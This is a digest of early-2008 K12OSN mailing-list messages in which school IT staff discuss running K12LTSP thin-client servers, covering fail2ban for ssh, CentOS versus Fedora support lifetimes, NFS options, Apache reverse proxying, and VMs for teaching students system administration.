Nice and invisible.

There is quite a lot of ssh password guessing going on over the internet. If you have systems with the ssh port exposed, you can expect to see a few hundred attempts a day in the logs - a slow enough rate that you might not notice but the attackers are probably spreading their attempts over thousands of systems.

I also set my firewall to enable ssh connections only from subnets that I expect to get valid connections from. For instance, the subnet for the ISP that my family members use (so they can connect to copy family photos, or so I can connect when I'm at their house). I also disable root access via ssh.

I like fail2ban (http://fail2ban.sourceforge.net/), which creates temporary iptables rules for hosts that make to many attempts to login to a service. If you enable the RPMforge yum repository (a config file ships with K12LTSP in /etc/yum.repos.d, but you need to enable it explicitly by setting enable=1) you can do the following: 1. Install fail2ban: yum install fail2ban 2. Start fail2ban: service fail2ban start 3. Make sure it start on boot: chkconfig --level 345 fail2ban on The defaults do a good job, but if you want notification or change the block time, etc. have a look at /etc/fail2ban.conf. (Don't forget to restart fail2ban after making changes: service fail2ban restart). Fail2ban automatically monitors sshd, but can also be setup to monitor other services. Setting up public key authentication and disabling password authentication for sshd completely is an even better idea if that is feasible in your setup. I still like to run fail2ban in that case, if only to keep the logs from filling with failed login attempts. Nils Breunese.

You realize that K12LTSP 6 is based on Fedora Core 6 and that Fedora Core 6 is no longer supported by the Fedora Project? This means no security fixes will be released for this distribution. If you're looking for a long-term solution I advise you to try out K12LTSP 5EL instead, which is based on CentOS 5, which in turn is a rebuild of RHEL 5. RHEL/CentOS 5 was released last year and gets 7 years of security updates. > So far everything is going as planned; authentication of users is > done through active directory, so I have a single sign on for users > on either system, which is great.

There is a file that both packages "share" and one package is trying to update the other's file. That is a no-no! I recommend NOT using sos and to use sysreport instead as that really _does_ contain the /usr/sbin/sysreport binary. You can either exclude the sos package (yum -y --exclude=sos update) or remove the sos package (yum remove sos) or you can download manually and install manually with rpm (rpm -Uvh sysreport*.rpm sos*.rpm - this will likely fail so a retry with "rpm -Uvh sysreport*.rpm ; rpm -Uvh sos*.rpm" will split it up.

The sos package obsoletes the sysreport package and has a symlink for / usr/sbin/sysreport pointing to /usr/sbin/sosreport. It is actually recommended to use the sos package and *not* use the sysreport package anymore. You should not have both sos and sysreport installed and running 'yum update' should have installed sos and removed the obsoleted sysreport. If you're not to afraid to execute terminal commands as root, please check the output of 'rpm -q sos sysreport' and I'll see what we can do.

See if you get sound bars showing as each file plays. If you do see sound bars you are getting audio output and your speakers are not connected correctly,:-( This will at least confirm you are or are not getting audio output "visualy". If you still are not getting sound The following may quite possibly fix your problem. I had to do this on one server way back and I dont know why on just one server this was a fix, but it did fix my sound problem.

Yes, the EL versions are based on CentOS which is in turn based on Red Hat Enterprise Linux (RHEL, hence the EL in the name). The 5EL version is based (big surprise here) on CentOS 5 (based on RHEL 5) and is in turn based on Fedora 6. Yes, the numbers are out of sync between RHEL/CentOS and Fedora and will continue to be more and more as Fedora releases are much more frequent. For many, the release cycle of Fedora is too fast for production servers. Also, the "security patch life cycle" for RHEL/CentOS is considerably longer. If I remember correctly, version 5 will continue to get security patches into 2012. I believe that all the (recent) released versions of K12LTSP based on Fedora and CentOS use LTSP 4 while Edubuntu uses LTSP 5. That's a temporary lead, as far as I know but may be significant to you. -- Henry From jomonto at gmail.com Thu Jan 3 22:33:25 2008 From: jomonto at gmail.com (John Montoya) Date: Thu, 3 Jan 2008 14:33:25 -0800 Subject: [K12OSN] Terminal Sound Problems Message-ID: James, I bet I am - IF - I could figure out what you just asked me to do ! * " Things like mplayer " ---- I can not find anything installed called mplayer - did a yum install for mplayer... nothing! * So of course, I'm not finding the "mplayerplugin" either * " gconf " - the only 'gconf' I can find is in /root and when I cat the file - I see nothing.... so I'm obviously looking in the wrong place for that too !

That's version 4. :o) RHEL has 7 years (!) of security patches and since RHEL/CentOS 5 was released in 2007 it will receive security fixes until 2014. Nils Breunese.

So it is a touch behind in the "bleeding edge" category compared to Fedora. As FC6 is at EOL switching to Centos LTSP may not be a bad idea, Centos 5.1 has recently been released and will be supported for a few years(I can't recall the exact dates at the moment).

OK, I'll see if I can help from that point. I am assuming that you have the setting from earlier still intact (System->Preferences->Hardware->Multimedia->audio->Default output plugin=ESD) Note: the path may be a tad different depending on the Gnome version (it changes EVERY release!). That will set the the default audio output device to be ESD for the entire gnome environment. Now you need to install mplayer and mplayerplug-in and the codecs packages so you can play every multimedia format on the web. Easy way: get the yum repo set up for livna (go here: http://rpm.livna.org/rlowiki/ and get the rpm for the repo based on your distro - K12LTSP5 is out of support, K12LTSP6 is Fedora 6 which also works well for K12LTSP5-EL). Once that repo rpm is installed just run "yum install mplayer mplayergui mplayerplug-in" and it will install the needed parts. But the codecs package is still a manual install. Don't worry, it's easy. Get it from: http://www4.mplayerhq.hu/MPlayer/releases/codecs/essential-20071007.tar.bz2 This pile of files needs to exist inside /usr/lib/codecs (which is installed by mplayer). Untar it with "cd /usr/lib/codecs && tar xvjf " Now "mv essential/* ." and rmdir essential A confession: My Fedora7 machine can play everything but I _don't_ seem to have the essential codecs installed. I suspect that they are statically compiled into the mplayer but I have not checked. Now log out and back in once to reset your environment and start firefox. Put "about:plugins" into the URL bar and you should now have the ability to play oodles of web video junk. You still need Adobe Flash and their site will let you install an Adobe repo file so you can easily keep flashplayer up to date.

The first, called simply "K12LTSP", is based on Fedora. The second, called "K12LTSP EL" is based on CentOS. Now, the question is, why two versions? Why not just one? That'll take some explanation. Hold on tight, because you're about to go for a little history tour. :-) K12LTSP, back in the day, was based on Red Hat Linux, until Red Hat did what's known as the "Big Split" in order to actually start making money (this is a Very Good Thing; we want this to happen!). That split means that Red Hat Linux became two distributions. One's a bleeding-edge, "download for free" version that's on a fast update cycle, where Red Hat tries out new stuff (e. g. SELinux, new eye candy, and so on). Development is fast and furious. For that reason, release cycles are short, as are support cycles. You want a cool, "uber-l33t" new feature? You want truly beautiful eye candy, bordering on a work of art? You want something that is specifically and overtly designed to be tweaked as heavily as your little heart desires? This version likely has all that and much more. That's Fedora. The other one's much more concerned with stability over the long haul, and it's intended to be certified for use with Big, Expensive Enterprise Apps (e. g. HP OpenView Network Node Manager or Oracle). It's also explicitly designed for support intervals that corporations like (read: "long"). As a result, you get support for a loooong time, but you don't necessarily get the latest, greatest eye candy or apps. Each version of this distribution will be supported with security updates for seven years from the date of its release. Oh, and it costs a lot of money and comes with an official support contract. That's Red Hat Enterprise Linux (RHEL). Well, we all know that the GPL requires you to provide source with your binaries when you distribute any GPL'd software. Red Hat has a long history of not only GPL compliance, but also outright GPL promotion. Just about everything Red Hat has ever written or released has been GPL'd (e. g. Red Hat Directory Server or Anaconda). Thus, even though getting RHEL costs a lot of money, Red Hat posts all of its source code for it up on its Web site. They're on record as saying that anyone can download that source code and re-create RHEL if they wish. A few groups of hackers decided to do just that. They downloaded that source code, recompiled it, and came up with rather faithful clones of RHEL, and these groupsl let us download it free of charge. The GPL explicitly permits this. The most successful and famous of these RHEL clones is called CentOS, for "Community ENTerprise OS." Since CentOS is made of exactly the same source code as RHEL is, CentOS is on the same *support cycle* as RHEL. That means SEVEN YEARS OF SECURITY UPDATES...just like RHEL. What does this have to do with K12LTSP EL? Well, it turned out there was quite large demand for a "Long-Term Support" release of K12LTSP. Therefore, Eric "Mr. K12LTSP" Harrison made a version based on CentOS. The first one was K12LTSP 4.2EL, based on CentOS 4. It will be supported with security fixes until the year 2012. The latest one, K12LTSP 5.0EL, is based on CentOS 5 and will be supported until the year 2014. The "EL", of course, stands for "Enterprise Linux" release. So, if you want the latest-greatest, and you don't mind updating your OS every year or so, then go for the "regular" K12LTSP, based on Fedora. For years, I used "regular" K12LTSP for demos because of the extra eye candy. On the other hand, if you need long-term support and don't mind not living on the bleeding edge, then go for the "EL" K12LTSP, based on CentOS. NOTE!! Unfortunately, the latest version of "regular" K12LTSP, namely K12LTSP 6, is based on Fedora Core 6, which just got End-Of-Lifed. That means no more security updates. That's why K12LTSP 5.0EL is the better choice at this point. This is *no* slam on Eric Harrison, BTW. Given his schedule, the fact that he finds time to breathe amazes most of us. And now you know what the "K12LTSP EL" releases are. :-) --TP _______________________________ Do you GNU ?

If you want LTSP 5, then I'd suggest going with Jim McQuillan's upstream LTSP on stock CentOS or whatever you want to run. Eric went with LTSP 4.2 because it's battle-tested and known to work. At the time, LTSP 5 was quite new. However, the next versions of K12LTSP are slated to have LTSP 5 in them. --TP _______________________________ Do you GNU ?

Make an NFS share on the one that you want to be the "master" server, allowing only the "slave" server's IP address to access it, like this ("w.x.y.z" is your "master" server's IP address here): # this line goes into your /etc/exports file on the "master" server /opt/ltsp/i386/etc w.x.y.z(ro,async,no_root_squash) Then, from the "slave" server, mount /opt/ltsp/i386/etc on w.x.y.z to, say, /root/ltsconfsync or some other safe place. mount -t nfs w.x.y.z:/opt/ltsp/i386/etc /root/ltsconfsync Finally, pop a script like the following into the "slave" server's /etc/cron.daily directory and make it executable: ------------CUT HERE----------- #!/bin/sh cp -p /root/ltsconfsync/lts.conf /opt/ltsp/i386/etc/lts.conf ------------CUT HERE----------- Would this work for your situation? --TP _______________________________ Do you GNU ?

Do you have the option of using the DVD iso and not the 7 CD set? If so, have you tried the download for that also? ftp://k12linux.mesd.k12.or.us/pub/K12LTSP/5.0.0-EL-32bit/dvd/ If all else fails I may be able to host the DVD ISO over the weekend if need be.

URL: From spowers at inlandlakes.org Mon Jan 7 14:53:33 2008 From: spowers at inlandlakes.org (Shawn Powers) Date: Mon, 7 Jan 2008 09:53:33 -0500 Subject: [K12OSN] NFS sync slow, async scary Message-ID: After messing with my NFS server last week to get my thin clients to behave happily, my /home export to the main network, which connects to about 150 OSX machines was set with the "sync" option in /etc/ exports. This seemed to make sense to me, but in practice (ie, today) the performance is so terribly slow that the OSX computers are unusable. After trying to weed out network issues (cheap switches do not make this easy), I tried changing the export to "async" -- and the OSX clients are all behaving magically delicious. The problem, of course, is the threat of "doom and gloom" that goes along with exporting NFS with the async option. I'm curious the ramifications that go along with doing such a thing, and I'm also curious what the "Right Thing" is to do. UPDATE: I just got a call that the computers are not mostly complaining that file locking is working, but if they tell OSX to disable locks, things work again. My suspicion is that I'm looking at quite a !fun day... I realize the clients I'm referring to are not running Linux (those, in fact are working quite nicely), but I'm still interested in anyone's thoughts on the NFS thing...

I want to be able to serve several different internal websites via http and https but only have one redirect at the router for ports 80 and 443 to an internal system. I can run squid or apache2 or both on that internal system. What I had in mind was setting up this internal system to redirect the external requests to the appropriate internal servers based on the hostnames. The internal network uses a 10. address space if that makes a difference. Both squid and apache2 can be set up for reverse proxying. Has anyone on the list implemented this and is there a preference for which one to use?

Message-ID: Hi all, I have an interesting situation that I admit I have cause by accident for convenience of creating user accounts. At my school I have two Samba servers running LDAP one is PDC and the other is BDC. The PDC houses the home folders for the high school and the junior high students and the BDC keeps the home directories for the elementary buildings. Both servers are located in the same building and ip subnet. On the PDC I use webmin to create user accounts for everybody in the school district. Too allow webmin on the PDC server to create user account and home directory for all users in the district I use a nfs mount the home directories of the elementary staff and students from the BDC to the home folder of PDC server. This allows me to create staff and student accounts centrally. The problem with this is since I have the BDC home folders mounted with nfs under home directory of the PDC sometimes the elementary user accounts maps the home directory on the PDC when it should be mapping to the BDC instead. When the elementary users H: drive maps through samba through the nfs mount back to the BDC I get io errors in Windows. I use kixtart for my login script and I have building groups setup for all buildings to use as check for specific building resources. Then I use elementary groups to run a check on where to map their home drive. This way I hard code the bdc server name to the user home share instead of using a variable to this. Here is the strange part most of the time this works pretty well, but for some reason occasionally a elementary user maps to the pdc server instead of the bdc which causes windows io errors on the network drive. I believe what is happening is Windows 2000 and Windows XP are trying map their home drive their self from their user profile instead of using what I try to set from the login script. Does anybody got any ideas? Another thing would be helpful is I really do not care what server the elementary users access their home drive I just would like to know if it is possible to share nfs mount through samba without any io errors?

If it still doesn't work for you, perhaps you are going through a proxy or nat that doesn't handle ftp. In that case the rsync method might work for you.

And reducing the cache size in Firefox. Which does work by changing the settings and transfering the .Mozilla folder to users and /etc/skel/. The other thing I'm trying is changing the location of the cache to a single folder for all users, to see if I can get Firefox to "share" the cache for all users. I have absolutly know idea if that will work that way or not, but it will help me to clear it weekly if need be. Does anyone have any insite on that idea? Would it be possible, considering students use the same sites so often, have the images downloaded once then shared across the clients would seem to save on bandwidth, but again I'm no expert in LTSP.

If you use the live CD, then you can image one workstation at a time, including Windows, and you can re-assign hostnames and ssid. If you use DRBL, then you pxe/etherboot your clients from the server to launch clonezilla. DRBL does more. You can boot thick clients from the server, and they will use their own RAM and CPU while loading the OS from the DRBL server. You can boot your clients into freedos. You can boot your clients into memtest. You can boot your clients to a net-install of pretty much any Linux Distro out there. You can boot your clients to their hard drive. You can boot the clients to Clonezilla and image as many as you want. If you manage a large network of computers, you may find DRBL to be the greatest tool you have ever met. --scott From lnkemp at bolivar.k12.mo.us Wed Jan 9 22:47:14 2008 From: lnkemp at bolivar.k12.mo.us (Kemp, Levi) Date: Wed, 9 Jan 2008 16:47:14 -0600 Subject: [K12OSN] Dual Boot with LILO References: Message-ID: Is it possible to fix LILO after an install to dual boot?

Here is the official state of the union: 1) The fundamental flaw with K12LTSP is that is has mostly been me doing the grunt work. This is probably obvious, I'm stating it just to make sure that it is. 2) Point #1 has burned me out. This is probably obvious, I'm stating it just to make sure that it is. 3) I've been working long and hard, mostly behind the scenes, to fix #1 and #2. Unless you are paying really close attention, that is probably not obvious. 4) As part of #3, I personally helped to spec out the first version of Edubuntu and have attended about half of the Ubuntu Developer Summits. I've done my best to make friends with the fine folks at skolelinux, debian-edu, revolution linux, and anyone who is a "competitor" to K12LTSP. I've preached to the choir about how much we all have in common and how important it is that we all work together. These are not our competitors, these are our bothers-in-arms.... 5) I've been swamped with personal & work stuff and it has been hard to carve out large tracks of time to do K12LTSP work. Building and testing new K12LTSP releases takes huge amounts of time. Hence K12LTSP versions 5.1EL, 7 & 8 are still sitting in the "testing" directory. 6) If you are a Fedora hacker, you may have noticed the LTSP5 packages trickling into the Fedora repositories. Hopes are that F9 will have fully-functional LTSP5 support. From a purely optimistic point-of-view, I hope that the FUDcon will result in fully-functional LTSP5 packages for F8. 7) This weekend I will be at the Fedora FUDcon (see points #1-4, 6). If you happen to make it to North Carolina this weekend, come and help us do some hacking. -Eric From robark at gmail.com Thu Jan 10 08:33:52 2008 From: robark at gmail.com (Robert Arkiletian) Date: Thu, 10 Jan 2008 00:33:52 -0800 Subject: [K12OSN] State of K12LTSP?

The burden, when so many depend on you, can feel heavy. So, I want you to know that you don't owe anybody. We owe you. So I want to say, ----thank you----. Thanks for making my job, as a teacher, much more fun and interesting. I have learned so much over the past 4 years. Fedora also has a lot to thank you for. K12LTSP has a wonderful community. I know you must be helping them, as you have helped other LTSP distros, get off the ground. I want to share a little philosophical commentary. In the business world, it is a common belief "What makes others weaker, makes us stronger" but in the FOSS world "What makes others stronger, makes us stronger". I don't want people to think you are quitting. I don't think you are. But rather, Eric's work of late has been to set the stage for a new era of K12LTSP. One that is not, a one man show.

Once lbussd starts up and gets initialized, it goes into a loop where it's waiting on data coming over the network from the workstation. It's using a select() call, so it shouldn't be using any resources at all. It has a timeout on the select call of 5 seconds. That's just so that every 5 seconds it can check to see if the users session is still alive. Even then, it's doing such a small amount of work, that I don't think you'd see it show up in top or any other measurement tool. If lbussd is chewing up cpu time, like you've mentioned, then I'd suspect that there's traffic on the network, coming from the client. lbussd uses port 9202. I'd try running tcpdump and watch that port, to see if there's some traffic. It would be perfectly normal to see some packets when you plug a device into the client, or when you access data on a floppy or cdrom. Other than that, there shouldn't be any traffic at all. Pick one of the clients to study, and do this: tcpdump -i ethX host wsXXX and port 9202 Substitute the correct value for ethX and wsXXX. Then, sit back and watch the screen. see if there's activity. If there is, and you can't decipher what is going on, then try tcpdump again, but this time capture the packets, so we can look at them with wireshark. tcpdump -i ethX -s0 -w /tmp/tcpdump.out host wsXXX and port 9202 Let that run for several minutes, then kill it with Ctrl-C. Then, send me the /tmp/tcpdump.out file (as an attachment). Jim McQuillan jam at Ltsp.org Shawn Powers wrote: > I recently installed 2 K12LTSP servers, and I'm using xfce for the > desktop manager.

I'm not seeing any traffic on port 9202 using: tcpdump -i eth0 port 9202 I tried specifying a terminal, but when nothing showed up, I tried leaving that out, to "sniff" for any port 9202 traffic. I get nothing after a few minutes of listening. I still have a 5-6% CPU usage on TONS of lbussd processes though. UPDATE: I just had a couple packets show up, but nothing that looks abnormal. I can send the results if you like, but it's just 3 packets. On my second server (not as slow, but still not "normal"), I have about half a dozen lbussd processes, all using between 15-25% CPU. The servers are running K12LTSP 6.0, and are configured similarly. Perhaps I've configured something poorly... -------------- next part -------------- An HTML attachment was scrubbed...

This could be some other problem. See chapter on grayX at http://ltsp.mirrors.tds.net/pub/ltsp/docs/ltsp-4.1-en.html#AEN965 Is this happening randomly?

If you just run the script on a base CD install, it seems that it will be larger than 700 meg. That is not a problem, if you are recreating a DVD ISO. remastersys seems to not have as good of compression. The biggest quirk I found, is that when you reboot your new ISO, it will log you in as a user named Ubuntu. When you ran: remastersys backup filename.iso that re-creates the users and installed apps from your original install. If you click on the Install icon, it will prompt you for a password, that seems to not exist. Solution: log out, and then log back in as your initial user that you created (the Ubuntu 'sort of root' user). When you run Install from there, you will be prompted for the 'sort of root' password, it will then run. -------------- next part -------------- A non-text attachment was scrubbed...

The clients that get the grayX screen have always had this problem since initially trying to get them to boot to the server. It's not random. I tried what you mentioned and neither of those suggestions worked for me. When I replaced vesa with i810 it went back to giving me the xserver failed error. Also, when trying to locate the gdm.conf file it's not there. I thought it should be in the /etc/X11/gdm folder. However, I found the /etc/gdm/custom.conf file with a GDM configuration. Should I recreate the gdm.conf file using custom.conf? Although gdm appears to be running because I can login as I did before, only some clients still get the grayX screen. Sorry if this sounds silly as I'm a bit confused why I don't have gdm.conf.

The only "real" work around, besides running Ubuntu and LTSP5 which works almost flawlessly with them, was too add a cheap pci video card and disable the onboard in the bios. We used some old Trident 4MB cards and they work fine. Our problems included complete system lockups with no error messages just a clean reboot message from the manual reset and the Xserver crashing in all sorts of fun ways. I know this is not the cleanest solution but it worked, I swear we tried just about everything else. A word to the wise, if you do go this route pass the -noacpi to the client boot options or sometimes the sound wont work along with some other fun stuff.

We *will* (unless we don't, of course ;-) have 90% of the code written by the end of the day tomorrow and have it in a generally useful state. Once that is achieved, we will post a TODO list. But, as the saying goes, in software 90% of the work is that last 10% of code ;-) Only a very small percentage of developers appear to be able generate that first 90% of code... you need to know both 1) all of the ins-and-outs of how a distribution is put together and 2) the LTSP requirements (http://wiki.ltsp.org/twiki/bin/view/Ltsp/Ltsp5MinimumRequirements). What I've been working on is helping more people who know problem set #1 to know and understand problem set #2. So once we cross over this major mountain, all that needs to be done is the remaining 90% of the work! (which sounds really dark and cynical until you account for the fact that there are 1000's times more people capable of doing that last 90% of work than there are who can do the first 10% of highly-specialized work...). -Eric > > -----Original Message----- > > From: k12osn-bounces at redhat.com > > [mailto:k12osn-bounces at redhat.com] On Behalf Of Eric Harrison > > Sent: Friday, January 11, 2008 2:28 PM > > To: Support list for open source software in schools. > > Subject: Re: [K12OSN] State of K12LTSP? > > > > On 1/10/08, Robert Arkiletian wrote: > > > > > I don't want people to think you are quitting.

This doesn't seem to work either :( More words than absolutely needed, but rather frustrated at this point. I am using SSL and trying to get the reverse proxy to work with SSL as well. I have apache running on CentOS, and trying to talk to the IIS/Exchange server. Now, apache loads the ssl.conf file from conf.d so I have tried using entries both in that file and in the main httpd.conf but haven't seen a difference. There seems to be issues with trailing /'s and a host header that is needed as well, not to mention the way IIS/OWA handles spaces. There is also some sort of issue with using Form-based Authentication in OWA? I have gotten the Basic Auth to ask for a login/password, but it never accepts anything, just continually returns the username/password prompt. Couple all of this with the fact that our external DNS resolves to our ISP supplied routable IP (which is our external router). This is then port redirected to the different internal systems and I suspect I have something of a mess. ;) We have used https with OWA being accessed directly via a simple port redirect: Internet_IP:443 --> Internal_IP:443 without issues. But since there is now a need for additional SSL sites, we need the reverse proxy or another IP address. I thought it would just be a matter of Internet_IP:443 --> Internal_IP_apache_reverse_proxy:443 which would then redirect to the other servers, but ... nope. At this point, the simplest might just be to get another Internet IP address from our ISP? Proxying anything else (80 or 443) 'just works', but OWA/Exchange apparently has its own set of rules. Also, I am still not clear on when to use a hostname for the VirtualHost and when to use an IP address. For name based, I thought it was just a ServerName mysite1.domain.org ... other stuff and apache matches up the mysite1.domain.org which is what the browser uses to determine which block to use. Internal testing of the 6 sites being hosted show that it seems to work. e.g. a address of http://mysite2.domain.org returns mysite2 and not mysite1 though both are wrapped in their own blocks.

Therefore the * can be replaced with any ip address. It is the ServerName directive that specifies the domain name.

Yes, the name based would work like that I believe. It is always nice to have multiple IPs but if you don't, that should work.

The closest I got was if I also set the default port 80 to also do a redirect to https, but then authentication never seemed to succeed. See the last post on that page about authentication. That is where I got before it just broke completely. Now, all I get is a 'page not found' error. I am going to put this on a back burner and get a second external IP address for the moment. Then, IF I can sort it out later, I'll post back the solution.

When booting the laptop starts the boot process the sis900 module gets loaded correctly, and I can see the sis900 nic is wanting irq 3 but a few lines before the laptop stops booting there is a few lines of hex code then says "disabling irq 3 ",, "You should try booting with irgpoll". I have tried adding in dhcpd-k12ltsp.conf "NIC=sis900 IRQ=5" and a few different irq #'s but of course this being pci it always uses irq 3 natively. This gets booted almost to the point were it is starting X but dies shortly before. I see "Watchdog netdev,timeout,something,,something" after the client has stopped proceeding to boot.When tailing /var/log/messages every thing looks normal here other than never seeing entering run level5:(. I have seen some older threads in regards to sis900 booting pxe probs but nothing exactly to ltsp/k12ltsp. I also tried downloading the rom-o-matic sis900.zpxe,and adding into pxe directory and pointing the client to this bootrom,,but it starts but fails as well. This laptop has a Phoenix bios which has No options to change/disable any devices within. Anyone run into this before by chance?

You can't do named virtual hosts for https (proxied or not) because the Host: header needed to identify the named site will be encrypted and you need to know the host to use the right certificate to match up. You'll always hit the default host regardless of the name passed. You can do it with IP or port based virtual hosts - but then you might as well port-forward. -- Les Mikesell lesmikesell at gmail.com From krsnendu108 at gmail.com Sun Jan 13 20:30:07 2008 From: krsnendu108 at gmail.com (Krsnendu dasa) Date: Mon, 14 Jan 2008 09:30:07 +1300 Subject: [K12OSN] Cutting Edge Desktop / File Management Message-ID: I just came across this link from my google ads. http://www.dekstrus.com/main.asp Any comments form anyone?

If this is the case, the most probable cause is the adapter itself. The jet-directs just didn't like 2200 printers (nor 2100). All my 2200N printers were displaying the symptoms you describe. They started working very nicely after I've put them on external jet directs - an expensive, but successful work-around.

The machines get an IP, then it drills down (like above) and ends with: "Could not find kernel image" Laptop logs in just fine - but no other machine can. I messed with renaming the MAC file, of course laptop couldnt log in - and neither can the other machine.

This has bit me before when moving around printers to different rooms and reassigning ip addresses for various reasons. We had a brand new hp4700 about a year ago that the firmware that came on had a bug in it and the ip numbers what you entered in the Jetadmin, were transposed. Talk about a head scratcher...:) You oughta telnet to the printer at it's ip and see what settings are set in it. This always gives me a clearer view of settings rather than standing at the printer menuing through all the buttons. Also a good, Tool to cut down on leg work even if you just have a couple hp Jetadmin is download the WebJet Admin,from hp's site then you can pop on new firmware and manage easier. You would think it would never work with invalid gateway entered but they will do exactly what you are describing. But it very well could be a config,hicup in cups also.

But in addition to the ltsp environment, each kid also have a vmware VM so I can teach them to install/configure a Linux OS. My students like Linux but many of them are not comfortable installing it at home. One of the main barriers is that they have no experience installing/configuring an OS. They never get a chance to be root in my class. I could also teach them how to setup their own apache web server. Problem: what are the sys req of such a box? Could this handle it: dual - quad core Xeons/Opterons (8 cores total) 16GB ram (approx 512MB per person) 4 15k rpm scsi in a raid Any pitfalls people see? For one I am wary of kids installing games in their VM's. I can't restrict what they do in their own VM's. I am also worried their VM's may break my ltsp setup. Could that happen? Also that they would start services on eth1 (outside network). Maybe I can restrict this, not sure. Wondering if this idea would be better on it's own box on the internal network.

The more spindles the better - and the more RAM the better. If you need to cram this all into one box you might want the ESX version, in which case the vmware people might help with hardware selection. > Any pitfalls people see? > For one I am wary of kids installing games in their VM's.

Network wise, vmware can look like a separate box bridged to the NIC(s) on the host (separate IP's on the same subnet) or the host can NAT so it only uses the host IP externally. One thing to watch security-wise is that if you have NFS-exported home directories, anyone who can become root on a client machine can impersonate anyone else and access their files over NFS. -- Les Mikesell les at futuresource.com From steven at simplycircus.com Thu Jan 17 18:44:51 2008 From: steven at simplycircus.com (Steven Santos) Date: Thu, 17 Jan 2008 13:44:51 -0500 Subject: [K12OSN] teaching kids sys admin with VM's In-Reply-To: Message-ID: Do your clients support booting via USB drive?

So I would prefer NAT to eth1 or bridged to eth0. So no service runs on outside network. Can I as root restrict this choice? Or can they choose since they are the owner of the VM.

Forgot about that. It's okay with my current setup since I don't run a separate nfs server. But instead of running everything on the server I was thinking about switching from ltsp to a diskless client setup (100% local apps) Since ddr2 ram is so cheap now and a c2d celeron e1200 is $55, one can buy a nice cheap diskless client today. Problem is a diskless client would need to mount home over nfs. Which rules out having a VM since kids could change their uid in the VM.

So no usb boot but they do have usb 1.0 ports. I can boot DSL (Damn Small linux) from floppy with DSL on a usb stick since DSL uses kernel 2.4 which fits on a floppy. I have done this before with limited success. Currently I have installed Slax live linux on the tiny 2GB HD on the clients with lilo to dual boot to ltsp or slax. Nice thing about Slax is any changes to the OS dissapear after reboot. It's good for teaching ssh, sshfs or things that require a student to have a separate ip (ie. networking) and things that require root access like creating users and chown but students still don't experience actually installing/administering their own OS. -- Robert Arkiletian Eric Hamber Secondary, Vancouver, Canada Fl_TeacherTool http://www3.telus.net/public/robark/Fl_TeacherTool/ C++ GUI tutorial http://www3.telus.net/public/robark/ From jim at winonacotter.org Thu Jan 17 21:15:29 2008 From: jim at winonacotter.org (Jim Kronebusch) Date: Thu, 17 Jan 2008 16:15:29 -0500 Subject: [K12OSN] teaching kids sys admin with VM's In-Reply-To: References: Message-ID: <20080117205821.M89550@winonacotter.org> On Thu, 17 Jan 2008 08:48:45 -0800, Robert Arkiletian wrote > Wondering if I could run k12ltsp 5EL for a full class of 30 kids.

Sounds very similar to my LTSP box, which handles 75 simultaneous client connections without a problem. But I don't know how many VM's it would handle. Say you gave 512MB Ram to each VM, 16GB should handle 30 sessions and 2GB left for the server (in a perfect world). I don't know how efficiently the processes would be split among the cores, my guess is it would handle 30 with minimal use.

Anyhow, I don't think I'd be brave enough to try to run this on my LTSP server. I guess I'd see a VNC connection from the LTSP box to your VM ware server. I'd put the VM server on it's own network headed up by something like IPCop with Block Outgoing Traffic installed. Then you can allow the incoming VNC connections, but use Block Outgoing Traffic to block any outgoing ports you want to be certain won't mess with your main network. Then you can block everything from 1023 down except for 80 for net access and downloads. You could then allow them to configure dhcp, apache, nfs, etc, without any worries. You also wouldn't have to worry about them accessing NFS shares on the "real" network by becoming root as you can block outgoing and incoming ports for NFS. A good person to contact would be Jeremy Anderson (jeremy at angelar.com). He works at Hennepin Technical College and helped us host our nclinux.net conference last summer. I think he did exactly what you want to do for his classes. He used Xen, and built some scripts to create the images automatically. I think he could tell you exactly what you need to know for reference on how to set it up and how many VMs can run at once. I think he had a single quad core opteron and was happy with the performance, but I don't remember how many were concurrent.

I agree a separate box for the VM server isolated with ipcop would be safest. Nice idea Jim. Thanks for the contact. I don't want to automate images as I want kids to gain experience of the install. If this ends up becoming a reality I will surely report back with my experience. -- Robert Arkiletian Eric Hamber Secondary, Vancouver, Canada Fl_TeacherTool http://www3.telus.net/public/robark/Fl_TeacherTool/ C++ GUI tutorial http://www3.telus.net/public/robark/ From les at futuresource.com Fri Jan 18 00:03:58 2008 From: les at futuresource.com (Les Mikesell) Date: Thu, 17 Jan 2008 18:03:58 -0600 Subject: [K12OSN] teaching kids sys admin with VM's In-Reply-To: References: <478FA040.3060700@futuresource.com> Message-ID: <478FECEE.1000202@futuresource.com> Robert Arkiletian wrote: > On 1/17/08, Les Mikesell wrote: >> Network wise, vmware can look like a separate box bridged to the NIC(s) >> on the host (separate IP's on the same subnet) or the host can NAT so it >> only uses the host IP externally. > > So I would prefer NAT to eth1 or bridged to eth0.

Then these appear as virtual interfaces to the guest OS. The guest only sees the interfaces that you pre-configured on the host when you ran the vmware-configure.pl script (which you have to do when you ugrade the vmware software or the host kernel). There is also an option of 'host only' networking so the guests can see themselves and the host only like an isolated subnet which normally isn't useful for anything but testing. If you want tighter control you could use only that with iptables nat forwarding for anything you want to get out. To go through the motions of installing a vmware guest, just have a copy of the install DVD iso image downloaded on the host, and when creating the new VM, connect the machine's CD to the iso image and boot from it. The default new machine bios will boot from the virtual hard drive first if it is bootable, but on the first boot that will fail and you'll boot from the install image. After an install makes the virtual HD bootable, you'll have to go into the virtual bios (hit f2 during boot just like a real machine...) and make the CD first in the boot order. > One thing to watch security-wise is >> that if you have NFS-exported home directories, anyone who can become >> root on a client machine can impersonate anyone else and access their >> files over NFS. >> > > Rats!

It might be useful to also mount the home directories into the vmware machines - and/or some common space with pre-downloaded RPM's, etc. but you can do that with cifs, limiting it to only a single user's permissions established with a password at mount time. -- Les Mikesell lesmikesell at gmail.com From dhbarr at gozelle.com Fri Jan 18 01:36:45 2008 From: dhbarr at gozelle.com (David H.

No troubles with a Pentium D processor, 4GB of desktop RAM, and software raid5 SATA 3.0. There were six individual instances of virtualized Windows 98 (for training on a particular Windows + IE only site) running on the "server" and displayed on the PXE booted scrap PCs. Remember that the Pentium D is about the lowest form of dual-core processor, and our memory was clocked at 533 mhz. I suppose what I'm trying to say is that a dual-quad setup with 16 GB of RAM could quite conceivably handle such a load. With 16GB of RAM, you could probably assign each student 256 or 384 MB of RAM for their VM with very little difficulty (not 512, as VMware requires a little overhead per VM). This advice is worth exactly what you paid for it, YMMV, and so forth :) -dhbarr. From jkinney at localnetsolutions.com Fri Jan 18 02:11:09 2008 From: jkinney at localnetsolutions.com (James P.

